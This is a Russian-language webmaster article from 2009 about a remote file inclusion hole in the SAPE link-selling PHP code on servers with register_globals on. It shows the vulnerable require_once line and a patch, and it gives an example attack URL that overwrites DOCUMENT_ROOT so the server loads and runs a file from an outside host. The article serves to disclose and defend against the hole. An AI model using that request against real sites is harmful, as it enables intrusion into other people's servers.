WeBinstruments

Инструментарий для веб-мастеров

 

Техподдержка и
сопровождение
сайтов


на сайте на всех сайтах для веб разработчиков везде
 
 Скрипты
  PHP скрипты   
  Flash скрипты   
  Javascript скрипты   

 Софт
  Инструменты SEO   
  Разработка сайтов   
  Серверное ПО   

 Документация
  MySQL   
  PHP   
  HTML   
  Протоколы и сервисы Internet   

 Статьи
  PHP   
  MySQL   
  Сервер   
  еще...   

 Услуги и сервисы
  Домены   
  Хостинги   
  Блоки для сайта   

 Новости


 Контакты
  icq: 158325531
  email:
  все контакты: здесь




Atom все поступления
Раздел Новости
Раздел Услуги и сервисы
Раздел Статьи
Раздел Файлы
комментарии

Главная / Статьи / PHP / Уязвимость сапе при register_globals ON


Уязвимость сапе при register_globals ON

23.12.2009
сайт автора: http://webi.ru
публикация данной статьи разрешена только со ссылкой на сайт автора статьи

В последнее время ко мне все чаще и чаще начали обращаться за помощью владельцы различных сайтов.
Некоторым сайтам админы хостинга заблокировали возможность отправки почты из-за рассылки спама(которую они не рассылали).
Некоторым вообще заблокировали сайты по причине сильно большой нагрузки на сервера хостинга.
У некоторых постоянно исчезают файлы и базы данных.

Как оказалось, причина всего этого очень простая, хакеры подгружают на сайты скрипты и запускают их.
Естественно, эти зловредные скрипты и начинают рассылать спам, удалять файлы или делают другие пакости.

Итак, я начал искать дыры в этих сайтах.
Все проблемные сайты работали в режиме register_globals on либо эмулировали этот режим.
Конечно, использовать register_globals ON дело опасное, но есть старые надежные скрипты, которые работают только в этом режиме и написаны очень грамотно и без дыр, поэтому еще очень много сайтов работают в register_globals on.
Найти дыры в скриптах сайтов я не смог, так как написаны они были грамотно...
Но совершенно случайно я нашел эту дыру в коде сапы, который был установлен на всех этих сайтах.

Если вы продаете ссылки с помощью сапе, вы знаете, что для вывода ссылок на сайте нужно установить PHP код от сапе.
 И вот в самом выводе ссылок и есть дыра, вот часть проблемного кода

require_once($_SERVER['DOCUMENT_ROOT'].'/'._SAPE_USER.'/sape.php');

Как видно, тут происходит подгрузка файла из директории относительно ЯКОБЫ корня сайта.
Но если ваши скрипты работают в режиме register_globals on и PHP имеет включенную настройку подгрузки удаленных файлов, то переменную $_SERVER['DOCUMENT_ROOT'] можно элементарно подменить через ссылку и указав в ней адрес чужого сайта откроется файл не с вашего сайта, а файл с чужого сайта, да и не просто откроется, а именно загрузится к вам на сервер и запустится.
Ну а что будет дальше, это уже ограничено воображением хулигана, который загрузит файл.
Получается, что устанавливая код сапе на старый проверенный бездырый скрипт открывается дыра.
В настоящее время роботы обходят практически все сайты в интернете и ищут эту дыру(видно в логах сайтов), поэтому если у вас включен register_globals, будте внимательны.

Как же защититься?
Самый идеальный вариант, это конечно вЫключить глобальные переменные, но если этого сделать нельзя, можно поставить такую заплату
Перед вызовом файла сапы нужно поставить проверку, не было ли подмены серверной переменной.
И тогда файл загрузится только если не было подмены.

if(!isset($_GET['_SERVER']['DOCUMENT_ROOT']) and !isset($_POST['_SERVER']['DOCUMENT_ROOT']))
require_once(
$_SERVER['DOCUMENT_ROOT'].'/'._SAPE_USER.'/sape.php');

Большая часть хостингов конечно настроены так, что эта дыра не сработает, но некоторые скрипты раскрывают такую уязвимость с помощью изменения настроек, а некоторые хостинги сразу имеют такую настройку.


Конечно эта дыра касается не только кода сапе.
В любом скрипте работающим в register_globals on должны быть проверки любых переменных перед их использованием, это одно из самых первых правил.
Нельзя подгружать файлы таким образом

include($_SERVER['DOCUMENT_ROOT'].'/file.php');

либо перед загрузкой файла нужно проверить $_SERVER['DOCUMENT_ROOT'], а вдруг ее уже подменили.

А подменяется она очень просто.
В ссылке просто пишем что-то похожее на это
/index.php?_SERVER[DOCUMENT_ROOT]=http://site/file
Таким образом может произойти подмена серверной переменной.

Можете посмотреть логи доступа к своему сайту и наверняка увидите там много запросов к своим страницам с параметрами _SERVER[DOCUMENT_ROOT]
Лично я в последнее время не видел сайта, у которого в логах не было бы таких попыток взлома и ежедневно идут попытки найти эту дыру.

Ну и P.S.
 Я писал в тех поддержку сапы, чтобы они внесли изменения в свой код, но они ответили, что если кто то и использует скрипты в режиме register_globals on, то эти люди должны сами заботятся о своей безопасности.
Поэтому я и решил вам об этом рассказать.




Комментарии

RSS комментарии


Добавить свой комментарий


Ваше имя(* обязательно)


Текст сообщения(* обязательно)









 
 
  запомнить

 
Copyright © 2003-2017 WeBi Constructor
Rambler's Top100